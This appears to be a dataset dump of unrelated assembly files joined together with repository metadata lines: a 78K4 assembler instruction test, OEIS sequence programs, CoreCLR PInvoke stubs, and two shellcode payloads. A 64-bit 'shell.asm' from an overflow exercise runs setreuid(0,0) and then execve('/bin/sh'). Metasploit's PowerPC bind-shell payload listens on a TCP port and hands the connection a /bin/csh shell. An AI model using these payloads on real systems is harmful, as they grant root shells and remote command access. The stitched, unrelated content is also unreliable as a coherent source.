a,123456h[b] instr a,[tde+a] instr a,[whl+a] instr a,[tde+b] instr a,[whl+b] instr a,[vvp+de] instr a,[vvp+hl] instr a,[tde+c] instr a,[whl+c] ; mem,A instr [tde+],a instr [whl+],a instr [tde-],a instr [whl-],a instr [tde],a instr [whl],a instr [vvp],a instr [uup],a instr [tde+55h],a instr [sp+55h],a instr [whl+55h],a instr [uup+55h],a instr [vvp+55h],a instr 123456h[de],a instr 123456h[a],a instr 123456h[hl],a instr 123456h[b],a instr [tde+a],a instr [whl+a],a instr [tde+b],a instr [whl+b],a instr [vvp+de],a instr [vvp+hl],a instr [tde+c],a instr [whl+c],a endm ; note that when stringifying the instruction field, the string is also ; expanded while a macro body is read. This is necessary because while reading ; it, the assembler has to check for instructions like 'endm'. So assure the ; string variable is set to something harmless before the outer IRP is read. si set "" irp instr,add,sub,cmp si set "INSTR" ; AX/rp,#word irp reg,ax,bc,rp2,rp3,vp,up,de,hl instr reg,#0aa55h {si}w reg,#0aa55h endm ; rp,rp' irp dest,ax,bc,rp2,rp3,vp,up,de,hl irp src,ax,bc,rp2,rp3,vp,up,de,hl instr dest,src {si}w dest,src endm endm ; AX/rp,saddrp2 irp reg,ax,bc,rp2,rp3,vp,up,de,hl instr reg,saddr2 {si}w reg,saddr2 endm ; rp,saddrp1 irp reg,ax,bc,rp2,rp3,vp,up,de,hl instr reg,saddr1 {si}w reg,saddr1 endm ; saddrp2,rp irp reg,ax,bc,rp2,rp3,vp,up,de,hl instr saddr2,reg {si}w saddr2,reg endm ; saddrp1,rp irp reg,ax,bc,rp2,rp3,vp,up,de,hl instr saddr1,reg {si}w saddr1,reg endm ; rp,sfp irp reg,ax,bc,rp2,rp3,vp,up,de,hl instr reg,sfr {si}w reg,sfr endm ; sfp,rp irp reg,ax,bc,rp2,rp3,vp,up,de,hl instr sfr,reg {si}w sfr,reg endm ; saddrp2,#word {si}w saddr2,#6789h ; saddrp1,#word {si}w saddr1,#6789h ; sfrp,#word {si}w sfr,#6789h ; saddrp2,saddrp2' {si}w saddr2,saddr2_ ; saddrp2,saddrp1 {si}w saddr2,saddr1 ; saddrp1,saddrp2 {si}w saddr1,saddr2 ; saddrp1,saddrp1' {si}w saddr1,saddr1_ endm si set "" irp instr,add,sub si set "INSTR" ; rg,rg' irp dest,vvp,uup,tde,whl irp src,rg4,rg5,rg6,rg7 instr dest,src {si}g dest,src endm endm ; rg,#imm24 irp reg,vvp,uup,tde,whl instr reg,#654321h {si}g reg,#654321h endm ; WHL,saddrg2 instr whl,saddr2 instr whl,saddr1 endm irp reg,a,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l mulu reg divuw reg endm irp reg,ax,bc,rp2,rp3,vp,up,de,hl mulu reg muluw reg mulw reg divux reg endm macw 12 macsw 100 sacw [tde+],[whl+] si set "" irp instr,inc,dec si set "INSTR" ; r1/r2 irp reg,a,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l instr reg endm ; saddr2 instr saddr2 ; saddr1 instr saddr1 ; rp irp reg,ax,bc,rp2,rp3,vp,up,de,hl instr reg {si}w reg endm ; saddrp2 {si}w saddr2 ; saddrp1 {si}w saddr1 ; rg irp reg,vvp,uup,tde,whl instr reg {si}g reg endm endm adjba adjbs cvtbw irp instr,ror,rol,rorc,rolc,shr,shl irp reg,a,x,b,c,r5,r4,r7,r6,vph,vpl,uph,upl,d,e,h,l instr reg,5 endm endm si set "" irp instr,shr,shl si set "INSTR" irp reg,ax,bc,rp2,rp3,vp,up,de,hl instr reg,6 {si}w reg,3 endm endm irp instr,ror4,rol4 irp reg,rp0,rg4,rp1,rg5,rp2,rg6,rp3,rg7 instr [reg] endm endm s2bit bit saddr2.1 s1bit bit saddr1.2 sfrbit bit sfr.3 pswlbit bit pswl.4 pswhbit bit pswh.5 abit bit a.6 xbit bit x.7 tdebit bit [tde].1 whlbit bit [whl].2 a16bit bit addr16.3 a24bit bit addr24.4 mov cy,s2bit mov1 cy,s2bit mov cy,s1bit mov1 cy,s1bit mov cy,sfrbit mov1 cy,sfrbit mov cy,abit mov1 cy,abit mov cy,xbit mov1 cy,xbit mov cy,pswlbit mov1 cy,pswlbit mov cy,pswhbit mov1 cy,pswhbit mov cy,tdebit mov1 cy,tdebit mov cy,whlbit mov1 cy,whlbit mov cy,a16bit mov1 cy,a16bit mov cy,a24bit mov1 cy,a24bit mov s2bit,cy mov1 s2bit,cy mov s1bit,cy mov1 s1bit,cy mov sfrbit,cy mov1 sfrbit,cy mov abit,cy mov1 abit,cy mov xbit,cy mov1 xbit,cy mov pswlbit,cy mov1 pswlbit,cy mov pswhbit,cy mov1 pswhbit,cy mov tdebit,cy mov1 tdebit,cy mov whlbit,cy mov1 whlbit,cy mov a16bit,cy mov1 a16bit,cy mov a24bit,cy mov1 a24bit,cy si set "" irp instr,and,or si set "INSTR" instr cy,s2bit {si}1 cy,s2bit instr cy,s1bit {si}1 cy,s1bit instr cy,/s2bit {si}1 cy,/s2bit instr cy,/s1bit {si}1 cy,/s1bit instr cy,sfrbit {si}1 cy,sfrbit instr cy,/sfrbit {si}1 cy,/sfrbit instr cy,xbit {si}1 cy,xbit instr cy,/xbit {si}1 cy,/xbit instr cy,abit {si}1 cy,abit instr cy,/abit {si}1 cy,/abit instr cy,pswlbit {si}1 cy,pswlbit instr cy,/pswlbit {si}1 cy,/pswlbit instr cy,pswhbit {si}1 cy,pswhbit instr cy,/pswhbit {si}1 cy,/pswhbit instr cy,tdebit {si}1 cy,tdebit instr cy,/tdebit {si}1 cy,/tdebit instr cy,whlbit {si}1 cy,whlbit instr cy,/whlbit {si}1 cy,/whlbit instr cy,a16bit {si}1 cy,a16bit instr cy,/a16bit {si}1 cy,/a16bit instr cy,a24bit {si}1 cy,a24bit instr cy,/a24bit {si}1 cy,/a24bit endm xor cy,s2bit xor1 cy,s2bit xor cy,s1bit xor1 cy,s1bit xor cy,sfrbit xor1 cy,sfrbit xor cy,xbit xor1 cy,xbit xor cy,abit xor1 cy,abit xor cy,pswlbit xor1 cy,pswlbit xor cy,pswhbit xor1 cy,pswhbit xor cy,tdebit xor1 cy,tdebit xor cy,whlbit xor1 cy,whlbit xor cy,a16bit xor1 cy,a16bit xor cy,a24bit xor1 cy,a24bit irp instr,not1,set1,clr1 instr s2bit instr s1bit instr sfrbit instr xbit instr abit instr pswlbit instr pswhbit instr tdebit instr whlbit instr a16bit instr a24bit instr cy endm push psw pushw psw pushw sfr push sfr push bc,rp3,up,hl pushw bc,rp3,up,hl push vvp pushg vvp push uup pushg uup push tde pushg tde push whl pushg whl pushu psw pushu bc,rp3,psw,hl pushuw bc,rp3,psw,hl pop psw popw psw popw sfr pop sfr pop bc,rp3,up,hl popw bc,rp3,up,hl pop vvp popg vvp pop uup popg uup pop tde popg tde pop whl popg whl popu psw popu bc,rp3,psw,hl popuw bc,rp3,psw,hl mov sp,#123456h movg sp,#123456h mov sp,whl movg sp,whl mov whl,sp movg whl,sp add sp,#1234h addwg sp,#1234h sub sp,#1234h subwg sp,#1234h inc sp incg sp dec sp decg sp irp instr,call,br instr addr16+8000h ; force usage of !addr16 by value instr !addr16 instr addr20 instr !!addr20 irp reg,ax,bc,rp2,rp3,vp,up,de,hl instr reg instr [reg] endm irp reg,vvp,uup,tde,whl instr reg instr [reg] endm instr PC+10 instr $PC+10 instr $!PC+10 instr PC+200 instr $!PC+200 instr PC-10 instr $PC-10 instr $!PC-10 instr PC-200 instr $!PC-200 endm callf 0c23h callf !0c23h callt [60h] callt [!60h] callt [40h] callt [!40h] callt [7eh] callt [!7eh] brk brkcs rb6 ret reti retb retcs addr16 retcs !addr16 retcsb addr16 bnz PC+1 bne PC+2 bz PC+3 be PC+4 bnc PC+5 bnl PC+6 bc PC+7 bl PC+8 bnv PC+9 bpo PC+10 bv PC+11 bpe PC+12 bp PC+13 bn PC+14 blt PC+15 bge PC+16 ble PC+17 bgt PC+18 bnh PC+19 bh PC+20 irp instr,bf,bt,btclr,bfset instr s2bit,PC+1 instr s1bit,PC+2 instr sfrbit,PC+3 instr xbit,PC+4 instr abit,PC+5 instr pswlbit,PC+6 instr pswhbit,PC+7 instr tdebit,PC+8 instr whlbit,PC+9 instr a16bit,PC+10 instr a24bit,PC+11 endm dbnz b,PC+1 dbnz c,PC+2 dbnz saddr2,PC+3 dbnz saddr1,PC+4 mov stbc,#55h mov wdm,#0aah location 0 location 15 sel rb5 sel rb2,alt swrs nop ei di chkl pswl chkla pswh movtblw 20h,45h movm [tde+],a movm [tde-],a movbk [tde+],[whl+] movbk [tde-],[whl-] xchm [tde+],a xchm [tde-],a xchbk [tde+],[whl+] xchbk [tde-],[whl-] cmpme [tde+],a cmpme [tde-],a cmpbke [tde+],[whl+] cmpbke [tde-],[whl-] cmpmne [tde+],a cmpmne [tde-],a cmpbkne [tde+],[whl+] cmpbkne [tde-],[whl-] cmpmc [tde+],a cmpmc [tde-],a cmpbkc [tde+],[whl+] cmpbkc [tde-],[whl-] cmpmnc [tde+],a cmpmnc [tde-],a cmpbknc [tde+],[whl+] cmpbknc [tde-],[whl-]
15.813472
80
0.645853
0f8ae1dbcc8b66e26ded47262b83d631b96d0cc4
844
asm
Assembly
oeis/217/A217450.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/217/A217450.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/217/A217450.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A217450: Number of n X 1 arrays of the minimum value of corresponding elements and their horizontal and vertical neighbors in a random 0..2 n X 1 array. ; Submitted by Simon Strandgaard ; 3,3,9,17,37,77,163,343,723,1523,3209,6761,14245,30013,63235,133231,280707,591427,1246089,2625409,5531525,11654477,24555043,51735495,109002515,229659507,483874057,1019483609,2147969733,4525598973,9535072003,20089627615,42327224963,89180048899,187895169801,395879967217,834087159397,1757354367693,3702603905187,7801087777591,16436262714579,34629879796851,72962363498889,153725814775369,323887892265317,682405664327485,1437773692153859,3029273199083087,6382434290431491,13447274245190467 lpb $0 sub $0,1 add $4,$1 add $4,$1 add $1,$3 trn $5,2 add $5,$2 mov $2,$3 mov $3,$5 sub $3,$1 add $4,3 add $2,$4 lpe mov $0,$5 mul $0,2 add $0,3
40.190476
486
0.781991
dec6b33f0972637620b5812e06f3b29a29131890
2,661
asm
Assembly
programs/oeis/144/A144130.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/144/A144130.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/144/A144130.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A144130: a(n) = ChebyshevT(4, n). ; 1,1,97,577,1921,4801,10081,18817,32257,51841,79201,116161,164737,227137,305761,403201,522241,665857,837217,1039681,1276801,1552321,1870177,2234497,2649601,3120001,3650401,4245697,4910977,5651521,6472801,7380481,8380417,9478657,10681441,11995201,13426561,14982337,16669537,18495361,20467201,22592641,24879457,27335617,29969281,32788801,35802721,39019777,42448897,46099201,49980001,54100801,58471297,63101377,68001121,73180801,78650881,84422017,90505057,96911041,103651201,110736961,118179937,125991937,134184961,142771201,151763041,161173057,171014017,181298881,192040801,203253121,214949377,227143297,239848801,253080001,266851201,281176897,296071777,311550721,327628801,344321281,361643617,379611457,398240641,417547201,437547361,458257537,479694337,501874561,524815201,548533441,573046657,598372417,624528481,651532801,679403521,708158977,737817697,768398401,799920001,832401601,865862497,900322177,935800321,972316801,1009891681,1048545217,1088297857,1129170241,1171183201,1214357761,1258715137,1304276737,1351064161,1399099201,1448403841,1499000257,1550910817,1604158081,1658764801,1714753921,1772148577,1830972097,1891248001,1953000001,2016252001,2081028097,2147352577,2215249921,2284744801,2355862081,2428626817,2503064257,2579199841,2657059201,2736668161,2818052737,2901239137,2986253761,3073123201,3161874241,3252533857,3345129217,3439687681,3536236801,3634804321,3735418177,3838106497,3942897601,4049820001,4158902401,4270173697,4383662977,4499399521,4617412801,4737732481,4860388417,4985410657,5112829441,5242675201,5374978561,5509770337,5647081537,5786943361,5929387201,6074444641,6222147457,6372527617,6525617281,6681448801,6840054721,7001467777,7165720897,7332847201,7502880001,7675852801,7851799297,8030753377,8212749121,8397820801,8586002881,8777330017,8971837057,9169559041,9370531201,9574788961,9782367937,9993303937,10207632961,10425391201,10646615041,10871341057,11099606017,11331446881,11566900801,11806005121,12048797377,12295315297,12545596801,12799680001,13057603201,13319404897,13585123777,13854798721,14128468801,14406173281,14687951617,14973843457,15263888641,15558127201,15856599361,16159345537,16466406337,16777822561,17093635201,17413885441,17738614657,18067864417,18401676481,18740092801,19083155521,19430906977,19783389697,20140646401,20502720001,20869653601,21241490497,21618274177,22000048321,22386856801,22778743681,23175753217,23577929857,23985318241,24397963201,24815909761,25239203137,25667888737,26102012161,26541619201,26986755841,27437468257,27893802817,28355806081,28823524801,29297005921,29776296577,30261444097,30752496001 pow $0,2 bin $0,2 mov $1,$0 div $1,6 mul $1,96 add $1,1
266.1
2,567
0.889891
83fa7b02e13aba3e6699cc244e9bce6fbe6e10dc
1,487
asm
Assembly
external/source/shellcode/osx/ppc/single_bind_tcp.asm
madhavarao-yejarla/VoIP
3f7d0cdc0bb1423f9e952e411d073a1424ef9f5e
[ "Apache-2.0", "BSD-3-Clause" ]
35
2015-08-08T07:23:38.000Z
2021-04-07T18:00:44.000Z
external/source/shellcode/osx/ppc/single_bind_tcp.asm
madhavarao-yejarla/VoIP
3f7d0cdc0bb1423f9e952e411d073a1424ef9f5e
[ "Apache-2.0", "BSD-3-Clause" ]
1
2019-02-12T12:13:53.000Z
2019-02-12T12:13:53.000Z
external/source/shellcode/osx/ppc/single_bind_tcp.asm
fozavci/metasploit-framework-with-viproy
3f7d0cdc0bb1423f9e952e411d073a1424ef9f5e
[ "Apache-2.0", "BSD-3-Clause" ]
23
2015-08-11T05:07:47.000Z
2020-11-06T03:55:10.000Z
;; ; ; Name: single_bind_tcp ; Qualities: Can Have Nulls ; Platforms: MacOS X / PPC ; Authors: H D Moore <hdm [at] metasploit.com> ; Version: $Revision: 1612 $ ; License: ; ; This file is part of the Metasploit Exploit Framework ; and is subject to the same licenses and copyrights as ; the rest of this package. ; ; Description: ; ; Quick and dirty bind shell ; ; ;; .globl _main .globl _execsh .text _main: _socket: li r3, 2 li r4, 1 li r5, 6 li r0, 97 sc xor r0, r0, r0 mr r30, r3 bl _bind .long 0x00022312 .long 0x00000000 _bind: mflr r4 li r5, 16 li r0, 104 mr r3, r30 sc xor r0, r0, r0 _listen: li r0, 106 mr r3, r30 sc xor r0, r0, r0 _accept: mr r3, r30 li r0, 30 li r4, 16 stw r4, -24(r1) subi r5, r1, 24 subi r4, r1, 16 sc xor r0, r0, r0 mr r30, r3 _setup_dup2: li r5, 2 _dup2: li r0, 90 mr r3, r30 mr r4, r5 sc xor r0, r0, r0 subi r5, r5, 1 cmpwi r5, -1 bnel _dup2 _fork: li r0, 2 sc xor r5, r5, r5 _execsh: ;; based on ghandi's execve xor. r5, r5, r5 bnel _execsh mflr r3 addi r3, r3, 28 ; distance to path stw r3, -8(r1) ; argv[0] = path stw r5, -4(r1) ; argv[1] = NULL subi r4, r1, 8 ; r4 = {path, 0} li r0, 59 sc ; execve(path, argv, NULL) ; csh removes the need for setuid() path: .ascii "/bin/csh" .long 0x00414243
14.87
63
0.553463
83ceed828c5d1a6ff40263fedd9ed73faf63b7e6
632
asm
Assembly
data/pokemon/base_stats/bomsheal.asm
TastySnax12/pokecrystal16-493-plus
9de36c8803c9bdf4b8564ed547f988b0b66f0c41
[ "blessing" ]
2
2021-07-31T07:05:06.000Z
2021-10-16T03:32:26.000Z
data/pokemon/base_stats/bomsheal.asm
TastySnax12/pokecrystal16-493-plus
9de36c8803c9bdf4b8564ed547f988b0b66f0c41
[ "blessing" ]
null
null
null
data/pokemon/base_stats/bomsheal.asm
TastySnax12/pokecrystal16-493-plus
9de36c8803c9bdf4b8564ed547f988b0b66f0c41
[ "blessing" ]
3
2021-01-15T18:45:40.000Z
2021-10-16T03:35:27.000Z
db 0 ; species ID placeholder db 65, 102, 67, 77, 112, 77 ; hp atk def spd sat sdf db FIRE, WATER ; type db 75 ; catch rate db 175 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 20 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/bomsheal/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_FAST ; growth rate dn EGG_GROUND, EGG_WATER_1 ; egg groups ; tm/hm learnset tmhm SURF, WHIRLPOOL, HIDDEN_POWER, SUNNY_DAY, TOXIC, IRON_TAIL, RETURN, DOUBLE_TEAM, SWAGGER, FIRE_BLAST, ATTRACT, REST, DEFENSE_CURL, SWIFT, RAIN_DANCE, WATERFALL ; end
28.727273
165
0.707278
43f1a4752f513ab970593f69b1c39651b0127349
10,318
asm
Assembly
src/vm/amd64/PInvokeStubs.asm
guhuro/coreclr
812230630b694f14ebf0d54eb1c357f4dfb9bb5a
[ "MIT" ]
null
null
null
src/vm/amd64/PInvokeStubs.asm
guhuro/coreclr
812230630b694f14ebf0d54eb1c357f4dfb9bb5a
[ "MIT" ]
null
null
null
src/vm/amd64/PInvokeStubs.asm
guhuro/coreclr
812230630b694f14ebf0d54eb1c357f4dfb9bb5a
[ "MIT" ]
1
2021-02-24T10:01:34.000Z
2021-02-24T10:01:34.000Z
; Licensed to the .NET Foundation under one or more agreements. ; The .NET Foundation licenses this file to you under the MIT license. ; See the LICENSE file in the project root for more information. ; ==++== ; ; ; ==--== include AsmMacros.inc include AsmConstants.inc extern GenericPInvokeCalliStubWorker:proc extern VarargPInvokeStubWorker:proc ifdef FEATURE_INCLUDE_ALL_INTERFACES PInvokeStubForHostWorker equ ?PInvokeStubForHostWorker@@YAXKPEAX0@Z extern PInvokeStubForHostWorker:proc PInvokeStubForHost_CALLEE_SCRATCH_SIZE = 20h PInvokeStubForHost_STACK_FRAME_SIZE = PInvokeStubForHost_CALLEE_SCRATCH_SIZE ; 4 FP parameter registers PInvokeStubForHost_XMM_SAVE_OFFSET = PInvokeStubForHost_STACK_FRAME_SIZE PInvokeStubForHost_STACK_FRAME_SIZE = PInvokeStubForHost_STACK_FRAME_SIZE + 40h ; Ensure that the new rsp will be 16-byte aligned. if ((PInvokeStubForHost_STACK_FRAME_SIZE + 8) MOD 16) ne 0 PInvokeStubForHost_STACK_FRAME_SIZE = PInvokeStubForHost_STACK_FRAME_SIZE + 8 endif ; Return address is immediately above the local variables. PInvokeStubForHost_RETURN_ADDRESS_OFFSET = PInvokeStubForHost_STACK_FRAME_SIZE PInvokeStubForHost_PARAM_REGISTERS_OFFSET = PInvokeStubForHost_RETURN_ADDRESS_OFFSET + 8 NESTED_ENTRY PInvokeStubForHost, _TEXT alloc_stack PInvokeStubForHost_STACK_FRAME_SIZE END_PROLOGUE ; spill args mov [rsp + PInvokeStubForHost_PARAM_REGISTERS_OFFSET + 0h], rcx mov [rsp + PInvokeStubForHost_PARAM_REGISTERS_OFFSET + 8h], rdx mov [rsp + PInvokeStubForHost_PARAM_REGISTERS_OFFSET + 10h], r8 mov [rsp + PInvokeStubForHost_PARAM_REGISTERS_OFFSET + 18h], r9 movdqa [rsp + PInvokeStubForHost_XMM_SAVE_OFFSET + 0h], xmm0 movdqa [rsp + PInvokeStubForHost_XMM_SAVE_OFFSET + 10h], xmm1 movdqa [rsp + PInvokeStubForHost_XMM_SAVE_OFFSET + 20h], xmm2 movdqa [rsp + PInvokeStubForHost_XMM_SAVE_OFFSET + 30h], xmm3 ; PInvokeStubForHostWorker(#stack args, stack frame, this) mov r8, rcx mov rcx, r11 mov rdx, rsp call PInvokeStubForHostWorker ; unspill return value mov rax, [rsp + PInvokeStubForHost_XMM_SAVE_OFFSET + 0h] movdqa xmm0, [rsp + PInvokeStubForHost_XMM_SAVE_OFFSET + 10h] add rsp, PInvokeStubForHost_STACK_FRAME_SIZE ret NESTED_END PInvokeStubForHost, _TEXT PInvokeStubForHostInner_STACK_FRAME_SIZE = 0 ; integer registers saved in prologue PInvokeStubForHostInner_NUM_REG_PUSHES = 2 PInvokeStubForHostInner_STACK_FRAME_SIZE = PInvokeStubForHostInner_STACK_FRAME_SIZE + PInvokeStubForHostInner_NUM_REG_PUSHES*8 ; Ensure that the new rsp will be 16-byte aligned. if ((PInvokeStubForHostInner_STACK_FRAME_SIZE + 8) MOD 16) ne 0 PInvokeStubForHostInner_STACK_FRAME_SIZE = PInvokeStubForHostInner_STACK_FRAME_SIZE + 8 endif ; Return address is immediately above the local variables. PInvokeStubForHostInner_RETURN_ADDRESS_OFFSET = PInvokeStubForHostInner_STACK_FRAME_SIZE PInvokeStubForHostInner_PARAM_REGISTERS_OFFSET = PInvokeStubForHostInner_RETURN_ADDRESS_OFFSET + 8 PInvokeStubForHostInner_FRAME_OFFSET = PInvokeStubForHost_CALLEE_SCRATCH_SIZE ; RCX - #stack args ; RDX - PInvokeStubForHost's stack frame ; R8 - target address NESTED_ENTRY PInvokeStubForHostInner, _TEXT push_nonvol_reg rbp push_nonvol_reg r12 alloc_stack PInvokeStubForHostInner_FRAME_OFFSET + PInvokeStubForHostInner_STACK_FRAME_SIZE - PInvokeStubForHostInner_NUM_REG_PUSHES*8 set_frame rbp, PInvokeStubForHostInner_FRAME_OFFSET END_PROLOGUE mov r10, r8 mov r12, rdx test rcx, rcx jnz HandleStackArgs ; ; Allocate space for scratch area if there are no stack args. ; sub rsp, PInvokeStubForHost_CALLEE_SCRATCH_SIZE DoneStackArgs: ; unspill args mov rcx, [r12 + PInvokeStubForHost_PARAM_REGISTERS_OFFSET + 0h] mov rdx, [r12 + PInvokeStubForHost_PARAM_REGISTERS_OFFSET + 8h] mov r8, [r12 + PInvokeStubForHost_PARAM_REGISTERS_OFFSET + 10h] mov r9, [r12 + PInvokeStubForHost_PARAM_REGISTERS_OFFSET + 18h] movdqa xmm0, [r12 + PInvokeStubForHost_XMM_SAVE_OFFSET + 0h] movdqa xmm1, [r12 + PInvokeStubForHost_XMM_SAVE_OFFSET + 10h] movdqa xmm2, [r12 + PInvokeStubForHost_XMM_SAVE_OFFSET + 20h] movdqa xmm3, [r12 + PInvokeStubForHost_XMM_SAVE_OFFSET + 30h] call r10 ; spill return value mov [r12 + PInvokeStubForHost_XMM_SAVE_OFFSET + 0h], rax movdqa [r12 + PInvokeStubForHost_XMM_SAVE_OFFSET + 10h], xmm0 ; epilogue lea rsp, [rbp + PInvokeStubForHostInner_RETURN_ADDRESS_OFFSET - PInvokeStubForHostInner_NUM_REG_PUSHES*8] pop r12 pop rbp ret ; INPUTS: ; RDX - number of stack bytes ; R12 - the outer method's frame pointer ; RSP - ; RBP - ; HandleStackArgs: ; ; Allocate space for stack parameters + scratch area. ; sub rsp, rcx and rsp, -16 sub rsp, PInvokeStubForHost_CALLEE_SCRATCH_SIZE ; ; Copy stack parameters ; shr rcx, 3 ; setup count mov r8, rdi mov r9, rsi lea rdi, [rsp + PInvokeStubForHost_CALLEE_SCRATCH_SIZE] ; rdi -> above callee scratch area lea rsi, [r12 + PInvokeStubForHost_PARAM_REGISTERS_OFFSET + PInvokeStubForHost_CALLEE_SCRATCH_SIZE] rep movsq mov rsi, r9 ; restore rsi mov rdi, r8 ; restore rdi jmp DoneStackArgs NESTED_END PInvokeStubForHostInner, _TEXT endif ; FEATURE_INCLUDE_ALL_INTERFACES ; ; in: ; PINVOKE_CALLI_TARGET_REGISTER (r10) = unmanaged target ; PINVOKE_CALLI_SIGTOKEN_REGNUM (r11) = sig token ; ; out: ; METHODDESC_REGISTER (r10) = unmanaged target ; LEAF_ENTRY GenericPInvokeCalliHelper, _TEXT ; ; check for existing IL stub ; mov rax, [PINVOKE_CALLI_SIGTOKEN_REGISTER + OFFSETOF__VASigCookie__pNDirectILStub] test rax, rax jz GenericPInvokeCalliGenILStub ; ; We need to distinguish between a MethodDesc* and an unmanaged target in PInvokeStubForHost(). ; The way we do this is to shift the managed target to the left by one bit and then set the ; least significant bit to 1. This works because MethodDesc* are always 8-byte aligned. ; shl PINVOKE_CALLI_TARGET_REGISTER, 1 or PINVOKE_CALLI_TARGET_REGISTER, 1 ; ; jump to existing IL stub ; jmp rax LEAF_END GenericPInvokeCalliHelper, _TEXT NESTED_ENTRY GenericPInvokeCalliGenILStub, _TEXT PROLOG_WITH_TRANSITION_BLOCK ; ; save target ; mov r12, METHODDESC_REGISTER mov r13, PINVOKE_CALLI_SIGTOKEN_REGISTER ; ; GenericPInvokeCalliStubWorker(TransitionBlock * pTransitionBlock, VASigCookie * pVASigCookie, PCODE pUnmanagedTarget) ; lea rcx, [rsp + __PWTB_TransitionBlock] ; pTransitionBlock* mov rdx, PINVOKE_CALLI_SIGTOKEN_REGISTER ; pVASigCookie mov r8, METHODDESC_REGISTER ; pUnmanagedTarget call GenericPInvokeCalliStubWorker ; ; restore target ; mov METHODDESC_REGISTER, r12 mov PINVOKE_CALLI_SIGTOKEN_REGISTER, r13 EPILOG_WITH_TRANSITION_BLOCK_TAILCALL jmp GenericPInvokeCalliHelper NESTED_END GenericPInvokeCalliGenILStub, _TEXT LEAF_ENTRY VarargPInvokeStub, _TEXT mov PINVOKE_CALLI_SIGTOKEN_REGISTER, rcx jmp VarargPInvokeStubHelper LEAF_END VarargPInvokeStub, _TEXT LEAF_ENTRY VarargPInvokeStub_RetBuffArg, _TEXT mov PINVOKE_CALLI_SIGTOKEN_REGISTER, rdx jmp VarargPInvokeStubHelper LEAF_END VarargPInvokeStub_RetBuffArg, _TEXT LEAF_ENTRY VarargPInvokeStubHelper, _TEXT ; ; check for existing IL stub ; mov rax, [PINVOKE_CALLI_SIGTOKEN_REGISTER + OFFSETOF__VASigCookie__pNDirectILStub] test rax, rax jz VarargPInvokeGenILStub ; ; jump to existing IL stub ; jmp rax LEAF_END VarargPInvokeStubHelper, _TEXT ; ; IN: METHODDESC_REGISTER (R10) stub secret param ; PINVOKE_CALLI_SIGTOKEN_REGISTER (R11) VASigCookie* ; ; ASSUMES: we already checked for an existing stub to use ; NESTED_ENTRY VarargPInvokeGenILStub, _TEXT PROLOG_WITH_TRANSITION_BLOCK ; ; save target ; mov r12, METHODDESC_REGISTER mov r13, PINVOKE_CALLI_SIGTOKEN_REGISTER ; ; VarargPInvokeStubWorker(TransitionBlock * pTransitionBlock, VASigCookie *pVASigCookie, MethodDesc *pMD) ; lea rcx, [rsp + __PWTB_TransitionBlock] ; pTransitionBlock* mov rdx, PINVOKE_CALLI_SIGTOKEN_REGISTER ; pVASigCookie mov r8, METHODDESC_REGISTER ; pMD call VarargPInvokeStubWorker ; ; restore target ; mov METHODDESC_REGISTER, r12 mov PINVOKE_CALLI_SIGTOKEN_REGISTER, r13 EPILOG_WITH_TRANSITION_BLOCK_TAILCALL jmp VarargPInvokeStubHelper NESTED_END VarargPInvokeGenILStub, _TEXT end
36.459364
146
0.64276
bd1890d3ce3ae9cf40fd18816ffe8d966ebeafdc
869
asm
Assembly
Overflows/testS/bf/shell.asm
ryanlockman333/UCDenver_School_Projects
ea69b8ffb8056aef6ecc017db86191a4edfcddd0
[ "FSFAP" ]
null
null
null
Overflows/testS/bf/shell.asm
ryanlockman333/UCDenver_School_Projects
ea69b8ffb8056aef6ecc017db86191a4edfcddd0
[ "FSFAP" ]
null
null
null
Overflows/testS/bf/shell.asm
ryanlockman333/UCDenver_School_Projects
ea69b8ffb8056aef6ecc017db86191a4edfcddd0
[ "FSFAP" ]
null
null
null
BITS 64 GLOBAL _start SECTION .data ; needs to be writable and executable for testing _start: ; setreuid(ruid, euid) NOP NOP NOP NOP NOP xor rax, rax add rax, 113 ; 113 = setreuid xor rdi, rdi ; real userid xor rsi, rsi ; effective userid syscall jmp get_address ; get the address of our string run: ; execve(char *filename, char *argv[], char *envp[]) xor rax, rax add rax, 59 ; 59 = execve pop rdi ; pop string address mov [rdi+7], byte ah ; put a null byte after /bin/sh (replace N) xor rsi, rsi ; char *argv[] = null xor rdx, rdx ; char *envp[] = null syscall get_address: call run ; push the address of the string onto the stack shell: db '/bin/shN'
24.828571
80
0.537399
0afdb6a7750ffdce7d73351ffc9eec14ccda58a5
438
asm
Assembly
programs/oeis/323/A323071.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/323/A323071.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/323/A323071.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
